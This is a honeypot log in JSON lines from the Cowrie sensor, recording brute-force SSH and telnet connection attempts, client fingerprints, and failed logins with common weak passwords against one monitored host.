{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:04.818300Z","src_ip":"172.237.20.62","session":"52ffeb610ff8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:04.851191Z","src_ip":"176.65.132.129","session":"bc27ba869ac3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":48440,"dst_ip":"10.17.0.5","dst_port":23,"session":"1206c0ae6653","protocol":"telnet","message":"New connection: 45.58.127.90:48440 (10.17.0.5:23) [session: 1206c0ae6653]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:04.886812Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:04.992988Z","src_ip":"172.237.20.62","session":"52ffeb610ff8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A123456a","message":"login attempt [root/A123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:05.477108Z","src_ip":"172.237.20.62","session":"52ffeb610ff8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:06.641958Z","src_ip":"172.237.20.62","session":"52ffeb610ff8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":39874,"dst_ip":"159.203.135.109","dst_port":22,"session":"885f08aede01","protocol":"ssh","message":"New connection: 176.65.132.129:39874 (159.203.135.109:22) [session: 885f08aede01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:06.663259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:06.774337Z","src_ip":"176.65.132.129","session":"885f08aede01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:06.778317Z","src_ip":"176.65.132.129","session":"885f08aede01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A123456a","message":"login attempt [root/A123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:07.171623Z","src_ip":"176.65.132.129","session":"885f08aede01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.98052406311035,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:07.917425Z","src_ip":"45.58.127.90","session":"8681b4b0d0a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:08.256081Z","src_ip":"176.65.132.129","session":"885f08aede01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":53338,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a05b0a10ffc","protocol":"telnet","message":"New connection: 45.58.127.90:53338 (10.17.0.5:23) [session: 9a05b0a10ffc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:10.195928Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":39900,"dst_ip":"159.203.135.109","dst_port":22,"session":"29bda8bd6838","protocol":"ssh","message":"New connection: 176.65.132.129:39900 (159.203.135.109:22) [session: 29bda8bd6838]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:10.287193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:10.292243Z","src_ip":"176.65.132.129","session":"29bda8bd6838","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:10.373868Z","src_ip":"176.65.132.129","session":"29bda8bd6838","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"password","message":"login attempt [minecraft/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:10.621350Z","src_ip":"176.65.132.129","session":"29bda8bd6838","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.058366060256958,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:11.281047Z","src_ip":"92.96.29.36","session":"0931f51b78b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:11.813061Z","src_ip":"176.65.132.129","session":"29bda8bd6838","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":39926,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1282c97dff4","protocol":"ssh","message":"New connection: 176.65.132.129:39926 (159.203.135.109:22) [session: b1282c97dff4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:13.712204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:13.716837Z","src_ip":"176.65.132.129","session":"b1282c97dff4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:13.898541Z","src_ip":"176.65.132.129","session":"b1282c97dff4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"123456","message":"login attempt [newuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:14.282818Z","src_ip":"176.65.132.129","session":"b1282c97dff4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:15.373960Z","src_ip":"176.65.132.129","session":"b1282c97dff4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":38610,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb05a4241044","protocol":"ssh","message":"New connection: 172.237.20.62:38610 (159.203.135.109:22) [session: eb05a4241044]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:15.866543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:15.871125Z","src_ip":"172.237.20.62","session":"eb05a4241044","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:16.053769Z","src_ip":"172.237.20.62","session":"eb05a4241044","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:16.542781Z","src_ip":"172.237.20.62","session":"eb05a4241044","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":53340,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad60bdc76281","protocol":"telnet","message":"New connection: 45.58.127.90:53340 (10.17.0.5:23) [session: ad60bdc76281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:17.172897Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35872,"dst_ip":"159.203.135.109","dst_port":22,"session":"319ab942865d","protocol":"ssh","message":"New connection: 176.65.132.129:35872 (159.203.135.109:22) [session: 319ab942865d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:17.312632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:17.317796Z","src_ip":"176.65.132.129","session":"319ab942865d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:17.399723Z","src_ip":"176.65.132.129","session":"319ab942865d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user7","password":"123456","message":"login attempt [user7/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:17.649125Z","src_ip":"176.65.132.129","session":"319ab942865d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:17.709044Z","src_ip":"172.237.20.62","session":"eb05a4241044","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:18.862377Z","src_ip":"176.65.132.129","session":"319ab942865d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35884,"dst_ip":"159.203.135.109","dst_port":22,"session":"b77185f0d1b5","protocol":"ssh","message":"New connection: 176.65.132.129:35884 (159.203.135.109:22) [session: b77185f0d1b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:20.751910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:20.793557Z","src_ip":"176.65.132.129","session":"b77185f0d1b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:20.984065Z","src_ip":"176.65.132.129","session":"b77185f0d1b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":39292,"dst_ip":"10.17.0.5","dst_port":23,"session":"7fb1aaf84ae1","protocol":"telnet","message":"New connection: 45.58.127.90:39292 (10.17.0.5:23) [session: 7fb1aaf84ae1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:21.269041Z"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest123","message":"login attempt [guest/guest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:21.275190Z","src_ip":"176.65.132.129","session":"b77185f0d1b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:22.360947Z","src_ip":"176.65.132.129","session":"b77185f0d1b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35900,"dst_ip":"159.203.135.109","dst_port":22,"session":"e241da597862","protocol":"ssh","message":"New connection: 176.65.132.129:35900 (159.203.135.109:22) [session: e241da597862]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:24.425858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:24.435270Z","src_ip":"176.65.132.129","session":"e241da597862","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:24.518034Z","src_ip":"176.65.132.129","session":"e241da597862","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd123","message":"login attempt [root/asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:40:24.766498Z","src_ip":"176.65.132.129","session":"e241da597862","protocol":"ssh"}
